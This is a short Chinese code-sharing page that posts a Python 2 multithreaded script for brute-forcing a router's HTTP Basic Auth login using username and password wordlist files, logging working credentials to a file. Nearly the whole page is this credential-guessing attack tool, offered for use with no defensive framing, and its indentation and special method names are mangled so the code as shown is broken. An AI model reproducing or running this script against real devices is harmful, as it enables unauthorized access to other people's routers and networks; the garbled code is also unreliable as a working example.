python实现多线程暴力破解登陆路由器功能代码分享

907次阅读  |  发布于5年以前

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

复制代码 代码如下:

coding:utf-8-

import base64
import urllib2
import Queue
import threading,re,sys
queue = Queue.Queue()
class Rout_thread(threading.Thread):

def init(self,queue,passwd):

threading.Thread.__init__(self)   
self.queue=queue   
self.passwordlist=passwd   

def run(self):
self.user=queue.get()
for self.passwd in self.passwordlist:
request = urllib2.Request("http://"+target)
psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)
request.add_header('Authorization', psw_base64)
try:

    response = urllib2.urlopen(request)   
    print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)   
    fp3 = open('log.txt','a')   
    fp3.write(self.user+'||'+self.passwd+'\r\n')   
    fp3.close()   
  except urllib2.HTTPError:   
    print "[-]password:%s Error!" % (self.passwd)

if name == 'main':
print '''
#######################################################

#

#                Routing brute force tool             #   
#                                                     #   
#                 by:well                             #   
#                                                    #   
#######################################################   

'''
passwordlist = []
line = 20
threads = []
global target
target = raw_input("input ip:")
fp =open("user.txt")
fp2=open("passwd.txt")
for user in fp.readlines():
queue.put(user.split('\n')[0])
for passwd in fp2.readlines():
passwordlist.append(passwd.split('\n')[0])

print passwordlist

fp.close()
fp2.close()
for i in range(line):
a = Rout_thread(queue,passwordlist)
a.start()
threads.append(a)
for j in threads:
j.join()

Copyright© 2013-2020

All Rights Reserved 京ICP备2023019179号-8